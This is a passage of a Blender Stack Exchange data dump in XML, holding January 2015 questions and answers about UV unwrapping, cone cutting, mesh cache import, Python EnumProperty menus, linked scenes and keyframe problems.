  <row Id="23347" PostTypeId="2" ParentId="23326" CreationDate="2015-01-17T13:27:00.180" Score="5" Body="&lt;p&gt;For triangles you can use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/mathutils.geometry.html#mathutils.geometry.barycentric_transform&quot; rel=&quot;nofollow noreferrer&quot;&gt;mathutils.geometry.barycentric_transform&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EJ7x4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import mathutils.geometry&#xA;pd = mathutils.geometry.barycentric_transform(p, v1, v2, v3, d1, d2, d3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To test if the point is inside a triangle you can use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/mathutils.geometry.html#mathutils.geometry.intersect_point_tri&quot; rel=&quot;nofollow noreferrer&quot;&gt;mathutils.geometry.intersect_point_tri&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="248" LastEditDate="2015-01-17T17:06:25.863" LastActivityDate="2015-01-17T17:06:25.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23348" PostTypeId="1" CreationDate="2015-01-17T14:13:21.797" Score="1" ViewCount="74" Body="&lt;p&gt;&lt;kbd&gt;Ctl&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt; renderd simple cube movement but &lt;kbd&gt;Ctl&lt;/kbd&gt;&lt;kbd&gt;F11&lt;/kbd&gt; responded Blender 2.63 doesn't support playback:'Blender'. What's wrong? I'm just starting to learn Blender from Blender 3D Basics Beginners Guide. The supplied example file gives the same result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;System is Debian Wheezy&lt;/p&gt;&#xA;" OwnerUserId="11036" LastEditorUserId="2217" LastEditDate="2015-01-17T15:11:32.910" LastActivityDate="2015-04-28T05:53:55.627" Title="Blender 2.63 doesn't support playback:'Blender'?" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23349" PostTypeId="1" AcceptedAnswerId="23352" CreationDate="2015-01-17T14:56:58.727" Score="5" ViewCount="347" Body="&lt;p&gt;I have recently found that Mathematica (a mathematics software) may export .stl files, which may be used for Blender. This is very good for me because I am interested in mathematics visualization, and this team Mathematica-Blender seems to be most convenient for this purpose. However, I suppose that when working with animations, I will need curves or surfaces which move according to mathematic equations. See for example the figures in the following video:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=Eef3twD0N94&quot; rel=&quot;nofollow&quot;&gt;Film &lt;em&gt;Dimensions&lt;/em&gt;, Chapter 4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is extremely easy to export &lt;em&gt;just one mesh&lt;/em&gt;, allowing me to use Blender for mathematics pictures. But for animations, since Blender does not seem to support high mathematics, it would be great to export somehow a time-dependent mesh. Is there something like this available? More concretely, focusing on the Blender problem (and not in Mathematica), is there any file type from which Blender may import a time dependent mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea or suggestion will be welcome.&lt;/p&gt;&#xA;" OwnerUserId="11017" LastActivityDate="2015-01-17T15:58:19.807" Title="Importing time-dependent mesh" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;import&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23350" PostTypeId="1" CreationDate="2015-01-17T15:23:03.277" Score="0" ViewCount="192" Body="&lt;p&gt;I have a material for all glass in my scene, and it is transparent. Can I add &quot;fog&quot; to the material to give the illusion that it is cold out? This scene is in Blender Render.&lt;/p&gt;&#xA;" OwnerDisplayName="user8158" LastActivityDate="2015-01-17T15:23:03.277" Title="How do I make a material with transparency have a foggy illusion?" Tags="&lt;materials&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23352" PostTypeId="2" ParentId="23349" CreationDate="2015-01-17T15:50:44.190" Score="6" Body="&lt;p&gt;You can use the NewTek MDD and PC2 formats (though you may have to enable their separate addons in the user preferences to get those import/export formats to appear).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be used in conjunction with the '&lt;a href=&quot;http://www.blender.org/manual/modifiers/modify/mesh_cache.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mesh Cache'&lt;/a&gt; modifier to play back a sequence of external meshes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T54SF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There also appears to be a script to import .obj sequences as well, which tends to be a more common format, found &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?252844-Script-Meshfoot-OBJ-Sequence-Manager-%28For-Blender-2.6.2%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;here at BlenderArtists&lt;/a&gt;, but I am not  sure of any potential limitations it may have.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-01-17T15:58:19.807" LastActivityDate="2015-01-17T15:58:19.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23353" PostTypeId="1" AcceptedAnswerId="23383" CreationDate="2015-01-17T15:53:10.750" Score="3" ViewCount="849" Body="&lt;p&gt;I am using states to set the speed output of different truck upgrade levels and engine upgrade levels. Everything is working fine, except that I need five states just like this one with slightly different values for the motion actuators. Is there any way to copy all the logic bricks from one state into a different state?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jmGNV.png&quot; alt=&quot;State&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; doesn't work.)&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-01-18T05:49:00.337" Title="Copy Logic bricks between states" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23354" PostTypeId="1" AcceptedAnswerId="23357" CreationDate="2015-01-17T17:08:32.000" Score="2" ViewCount="1372" Body="&lt;p&gt;I modified an existing model by removing unwanted vertices, then selecting surrounding vertices and creating faces one triangle at a time (By pressing 'F').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On UV unwrapping the mesh, the faces which were added by me seem to stretch from the very bottom left of the map, shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nCSqg.png&quot; alt=&quot;UV map of faces added by me starts on bottom left then stretches.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I create a face so it appears on the UV map as expected?&lt;/p&gt;&#xA;" OwnerUserId="11038" LastEditorUserId="11038" LastEditDate="2015-01-17T17:17:16.277" LastActivityDate="2015-01-17T18:19:42.650" Title="UV Unwrapping a Modified Model" Tags="&lt;uv&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23355" PostTypeId="1" CreationDate="2015-01-17T17:32:40.760" Score="12" ViewCount="13965" Body="&lt;p&gt;I'm working on an animated short. I am trying to send my final results to a render farm because I don't have the processing power to render it on my computer. Each shot is in a separate linked .blend file, and the render service cannot see the linked data. &lt;br&gt;&#xA;Note : All paths are relative and &lt;code&gt;File-&amp;gt;External Data-&amp;gt;Pack All Into .blend&lt;/code&gt; doesn't do it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to send a linked file as its own isolated .blend, with its own path data? &lt;/p&gt;&#xA;" OwnerUserId="11039" LastEditorUserId="5113" LastEditDate="2015-04-27T15:41:29.650" LastActivityDate="2016-05-29T01:58:51.237" Title="How to pack all linked data inside the current .blend file" Tags="&lt;rendering&gt;&lt;linked-data&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23356" PostTypeId="1" AcceptedAnswerId="23368" CreationDate="2015-01-17T17:33:48.380" Score="3" ViewCount="1366" Body="&lt;p&gt;I need to populate an EnumProperty with the names of every group in the scene, so that I can include them in a dropdown (prop_menu_enum) in the interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GZWvT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would one accomplish this? I'm creating a tool that has to do with group instances, and ideally speaking, one could choose the group from which they wanted to instance objects using a dropdown menu. As far as I'm aware, (I could very well be wrong!) the only to do so would be to create an EnumProperty using a function to populate it, but I don't know precisely what that function should contain. I tried making a function that returns a list of containing the group's name as the first two elements, and the third being an empty string, but for whatever reason I can't seem to get it to work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="8085" LastEditorUserId="3710" LastEditDate="2015-01-18T11:17:16.923" LastActivityDate="2015-01-18T11:17:16.923" Title="Populating an EnumProperty using a Function" Tags="&lt;python&gt;&lt;scripting&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23357" PostTypeId="2" ParentId="23354" CreationDate="2015-01-17T17:49:41.943" Score="2" Body="&lt;p&gt;This kind of distortion often happens when you modify the mesh that has been unwrapped. You can try to unwrap once again after modification, or &lt;strong&gt;&lt;em&gt;pin&lt;/em&gt;&lt;/strong&gt; the vertices of islands you want to stay in the same position and then unwrap. In &lt;em&gt;UV/Image Editor&lt;/em&gt; window select all the vertices except the distorted one and press &lt;kbd&gt;P&lt;/kbd&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hWabD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select the whole mesh (&lt;kbd&gt;A&lt;/kbd&gt;) in a &lt;em&gt;3D View&lt;/em&gt; window and unwrap it. Being in &lt;em&gt;UV/Image Editor&lt;/em&gt; window unpin all using &lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; shortcut. The modified vertices should come back to their places.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FtCr2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-01-17T18:19:42.650" LastActivityDate="2015-01-17T18:19:42.650" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23358" PostTypeId="1" CreationDate="2015-01-17T18:57:59.993" Score="2" ViewCount="3069" Body="&lt;p&gt;I remember reading an article not so long ago about a node setup to significantly speed up render times in Cycles by telling the engine to only calculate materials based on the portion of the object visible to the camera and not the entire object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it was posted on the official blender page/ blender nation but I cant seem to find this information anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where that article/video is? Does anyone else remember this?&lt;/p&gt;&#xA;" OwnerUserId="11040" LastEditorUserId="2217" LastEditDate="2015-01-17T19:44:48.880" LastActivityDate="2015-02-18T11:19:28.437" Title="Speed up Cycles Render: Only calculate whats visible to the camera" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23359" PostTypeId="1" CreationDate="2015-01-17T19:10:30.117" Score="0" ViewCount="960" Body="&lt;p&gt;So I get to the last step of activating my UV texture so that it will render on the face of the rectangle, but when I press &lt;kbd&gt;F12&lt;/kbd&gt; it doesn't activate it. It just turns my whole shape pure black. Can anyone tell me what I'm doing wrong? I also included the picture of what happens after I press &lt;kbd&gt;F12&lt;/kbd&gt;. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/5RfTF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5RfTF.png&quot; alt=&quot;blender screen shot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11041" LastEditorUserId="2217" LastEditDate="2015-01-17T19:46:55.420" LastActivityDate="2015-01-17T19:46:55.420" Title="Trying to map UV texture, but shape turns black every time" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23360" PostTypeId="1" AcceptedAnswerId="23404" CreationDate="2015-01-17T19:42:48.410" Score="8" ViewCount="918" Body="&lt;p&gt;I learned to touch type in Dvorak keyboard map in late '90s.  is there a way to change key mapping assignment to alternate layout without need to remap each key individually in user preference? I fear something would be overlooked in manual process.&#xA;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: further thought about problem suggests this is asking the wrong question. in order to take advantage of physical layout design intent, remap more involved than simple move of keys. I will do more research and close question next day or two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: 'z' / 'Z' key qwerty is ';' / ':' key in Dvorak. so undo command is not convenient to type one handed in Dvorak layout.&lt;/p&gt;&#xA;" OwnerUserId="11042" LastEditorUserId="11042" LastEditDate="2015-01-18T16:05:06.950" LastActivityDate="2019-03-01T15:41:40.007" Title="Dvorak keyboard mapping?" Tags="&lt;scripting&gt;&lt;shortcut&gt;" AnswerCount="5" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="23361" PostTypeId="2" ParentId="23206" CreationDate="2015-01-17T20:15:45.847" Score="6" Body="&lt;p&gt;Found the solution.&#xA;The trick is to enable the desired render layer (ie &quot;vector&quot;) and then save the render output as OpenEXR file. That format will save all the desired render layers (in this case, motion information in 4 channels) in a single file, which could then be accessed through various interfaces like Python and Matlab.&lt;/p&gt;&#xA;" OwnerUserId="10989" LastActivityDate="2015-01-17T20:15:45.847" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23363" PostTypeId="1" AcceptedAnswerId="23365" CreationDate="2015-01-17T22:03:37.963" Score="4" ViewCount="3722" Body="&lt;p&gt;I have a cone and I want to cut of top piece of it. How can I make cut face flat?&lt;/p&gt;&#xA;" OwnerUserId="10913" LastActivityDate="2015-08-12T18:38:28.100" Title="How can I cut off tip of a cone?" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ClosedDate="2015-01-17T22:34:12.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="23364" PostTypeId="2" ParentId="23363" CreationDate="2015-01-17T22:05:56.837" Score="6" Body="&lt;p&gt;You can do this very simply. Add a cube, and position it above your cone. Then put a &lt;em&gt;Boolean&lt;/em&gt; modifier on your cone like in the image below, making sure that the &lt;em&gt;Boolean&lt;/em&gt; modifier is set to &lt;em&gt;difference&lt;/em&gt;. You can apply the modifier like this, or simply leave it how it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JTlz6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="3401" LastEditDate="2015-08-12T18:38:28.100" LastActivityDate="2015-08-12T18:38:28.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23365" PostTypeId="2" ParentId="23363" CreationDate="2015-01-17T22:14:04.883" Score="8" Body="&lt;p&gt;In orthographic mode &lt;kbd&gt;Numpad-5&lt;/kbd&gt; invoke the knife tool &lt;kbd&gt;K&lt;/kbd&gt;, press &lt;kbd&gt;C&lt;/kbd&gt; for angle constrained, and &lt;kbd&gt;Z&lt;/kbd&gt; for cut through.&#xA;Space or Enter to confirm the cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you only need to remove the vertex on the tip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4rdYO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-17T22:14:04.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23366" PostTypeId="2" ParentId="23363" CreationDate="2015-01-17T22:33:50.277" Score="13" Body="&lt;p&gt;While this is a duplicate question, I see no answer that deals with using the operator settings to do this in one step. So, one way would be to just add a cone primitive to the scene. &lt;em&gt;Add &gt; Mesh &gt; Cone&lt;/em&gt; and increase the &lt;em&gt;Radius 2&lt;/em&gt; slider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ftliA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2015-01-17T22:33:50.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23368" PostTypeId="2" ParentId="23356" CreationDate="2015-01-17T23:08:26.490" Score="5" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.types.UILayout.html?highlight=uilayout.prop_search#bpy.types.UILayout.prop_search&quot; rel=&quot;noreferrer&quot;&gt;UILayout.prop_search&lt;/a&gt; to assign a group to a string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.types.Object.test = bpy.props.StringProperty(name=&quot;Group&quot;)&#xA;&#xA;def draw(self, context):&#xA;    self.layout.prop_search(context.object, &quot;test&quot;, bpy.data, &quot;groups&quot;)&#xA;&#xA;bpy.types.OBJECT_PT_relations.append(draw)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you use an &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.props.html#bpy.props.EnumProperty&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;EnumProperty&lt;/code&gt;&lt;/a&gt; blender stores the unique id / number, not the string. So you need a separate &lt;code&gt;StringProperty&lt;/code&gt; to keep track of the group, in case the user deletes a group and your enumeration of the groups assigns a different index to the selected group.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_items():&#xA;    #closure - keep a reference to the list&#xA;    items = None&#xA;    def func(self, context):&#xA;        items = [(group.name, group.name, &quot;&quot;) for group in bpy.data.groups]&#xA;        return items&#xA;    return func&#xA;&#xA;bpy.types.Object.enum_prop = bpy.props.EnumProperty(items=get_items())&#xA;&#xA;def draw_menu_enum(self, context):&#xA;    self.layout.prop_menu_enum(context.object, &quot;enum_prop&quot;, &quot;Group&quot;)&#xA;&#xA;bpy.types.OBJECT_PT_relations.append(draw_menu_enum)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-01-17T23:08:26.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23369" PostTypeId="1" CreationDate="2015-01-17T23:24:10.503" Score="1" ViewCount="92" Body="&lt;p&gt;I've found the scene function &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_65_release/bpy.types.Scene.html?highlight=frame_set#bpy.types.Scene.frame_set&quot; rel=&quot;nofollow&quot;&gt;frame_set&lt;/a&gt; to be very slow.&#xA;Is there any functions to set the frame only on an armature/object ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for an exporter where I advance the animation frame by frame.&lt;/p&gt;&#xA;" OwnerUserId="11044" LastEditorUserId="11044" LastEditDate="2015-01-18T08:48:42.067" LastActivityDate="2015-01-18T08:48:42.067" Title="Set the frame on an armature" Tags="&lt;armature&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23370" PostTypeId="2" ParentId="23369" CreationDate="2015-01-18T02:01:08.290" Score="1" Body="&lt;p&gt;user preferences &gt; Editing &gt; Only insert needed enabled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rD7K2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-01-18T02:01:08.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23371" PostTypeId="2" ParentId="23154" CreationDate="2015-01-18T02:10:43.740" Score="11" Body="&lt;p&gt;You can do this with multiple scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have completed your scene create a new one, selecting Link Objects. This makes the new scene use the same objects as the original, when you move an object it will move in each scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eSB5M.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either delete the camera in the second scene or just change the active camera for each scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add a new object after you duplicate the scene, select the new object, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; and choose the scene to link it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vRQR8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the compositor you add multiple RenderLayer input nodes and choose a different scene in each one and composite as you choose. When you render each scene will be rendered automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RHZG7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/4544/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=4544&quot; /&gt;&lt;/a&gt; I used for the sample here.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2018-02-17T08:20:42.927" LastActivityDate="2018-02-17T08:20:42.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23372" PostTypeId="1" CreationDate="2015-01-18T02:29:54.773" Score="0" ViewCount="138" Body="&lt;p&gt;I would like to specify the motions of a rigid-body in a blender scene using 3-component acceleration data (or velocity, or displacement data) that I read from a file. That would allow me to record motions in the real-world, and then, later, animate them in an object in a blender scene based on the recorded motions. I see that I can animate rigid-bodes in blenders scenes with the mouse. Is there a way I can animate objects with file-based data? Do I need the game engine to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="11046" LastActivityDate="2015-01-18T02:29:54.773" Title="File-based inputs to rigid-body animations" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23373" PostTypeId="1" AcceptedAnswerId="28380" CreationDate="2015-01-18T02:32:52.860" Score="3" ViewCount="733" Body="&lt;p&gt;I saw &lt;a href=&quot;https://blender.stackexchange.com/questions/9394/how-to-blur-a-texture-node-in-cycles-material&quot;&gt;this question&lt;/a&gt; on how to blur an image texture, but how can I blur a defined input like a Fresnel input? When you set the Fresnel node to a value less than 1, it becomes sharp. However the color distribution is ideal for what I want. I just can't figure out how to adjust or even add a blur to that output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2pUrv.jpg&quot; alt=&quot;Fresnel Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also could see this being very useful for other inputs, like the Wireframe node. You can get the wireframe lines very easily, however the transition has no way to be controlled currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XiR9u.jpg&quot; alt=&quot;Wireframe Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-04-12T10:39:18.693" Title="Is it possible to blur an Input value in the Cycles material node editor?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23374" PostTypeId="2" ParentId="23323" CreationDate="2015-01-18T02:43:12.613" Score="5" Body="&lt;p&gt;Each scene in a blender file is separated from each other, using it's own settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data in a blend file can however be shared between scenes, this may be an object, mesh data, material etc. For example when you selecting a material, every material in the file will be listed and show up the same in every scene. When you use the same data block in multiple scenes then changing the item in one scene will also change it in other scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to tell if an item is unique is by the name, data blocks linked between scenes will have identical names. Here you can see that Suzanne is the same object linked between scenes, while Suzanne.001 is a different object that is only in scene.003. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JfPZm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use the same object in multiple scenes select it and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; and under Objects to Scene choose which scene you wish to link it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TTk58.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the answer to your question will depend on how your file is setup, this should help you find out and to setup your file as you want.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-18T02:43:12.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23375" PostTypeId="1" AcceptedAnswerId="23378" CreationDate="2015-01-18T03:02:10.960" Score="1" ViewCount="2039" Body="&lt;p&gt;I've made a static model of a mannequin to do some tests.&lt;br&gt;&#xA;My problem is that whenever I scale a part of the model, or the entire mesh, then every time I move the time-line a bit (or Alt middle mouse. I'm used to zooming that way from maya) the scaled meshes return to previous scale, along individual centers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a image sample of the problem:&lt;br&gt;&#xA;1 Before the scale&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OTWZc.jpg&quot; alt=&quot;imaged&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 After the scale (note the time-line)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1xcUq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;3 After moving the time-line*&#xA;&lt;img src=&quot;https://i.stack.imgur.com/o0NzL.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This effect would also happen if I'd scale the mesh, and then export it as a FBX (without moving the time-line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to apply the scale onto the model. In effect the elements of the model get incredibly small, when the time-line moves/I export it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be very grateful for any help with this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I know it wasn't exactly by 5. My mistake. But it's visible that the current time has changed.&lt;/p&gt;&#xA;" OwnerUserId="11047" LastEditorUserId="2217" LastEditDate="2015-01-18T04:17:04.943" LastActivityDate="2019-06-06T20:13:30.030" Title="Object looses its scale on keyframe change" Tags="&lt;animation&gt;&lt;objects&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2016-12-11T03:32:25.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="23376" PostTypeId="2" ParentId="23345" CreationDate="2015-01-18T03:06:29.217" Score="1" Body="&lt;p&gt;Unfortunately this is not a realtime statistic, it is only updated when you manually click the volume button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no you aren't doing anything wrong.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-18T03:06:29.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23378" PostTypeId="2" ParentId="23375" CreationDate="2015-01-18T03:52:36.513" Score="3" Body="&lt;p&gt;You have part of your mesh animated. When you move the frame, it displays the current transformation of the keyframe with animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tgN85.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;                                  &lt;strong&gt;Animated Frame&lt;/strong&gt;         &lt;strong&gt;Current Frame&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fix this by going into the &lt;em&gt;dope sheet&lt;/em&gt;, the &lt;em&gt;NLA editor&lt;/em&gt;, or the &lt;em&gt;Graph editor&lt;/em&gt;&#xA;And delete the unwanted animation&#xA;&lt;img src=&quot;https://i.stack.imgur.com/R8M3Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;          &lt;strong&gt;You can click here to delete&lt;/strong&gt;                      &lt;strong&gt;You can also select all the&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;          &lt;strong&gt;the animation for that object.&lt;/strong&gt;                   &lt;strong&gt;keyframes here and delete them.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can keep the transformation without deleting the previous keyframe by adding a new one and animating the transformation.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" 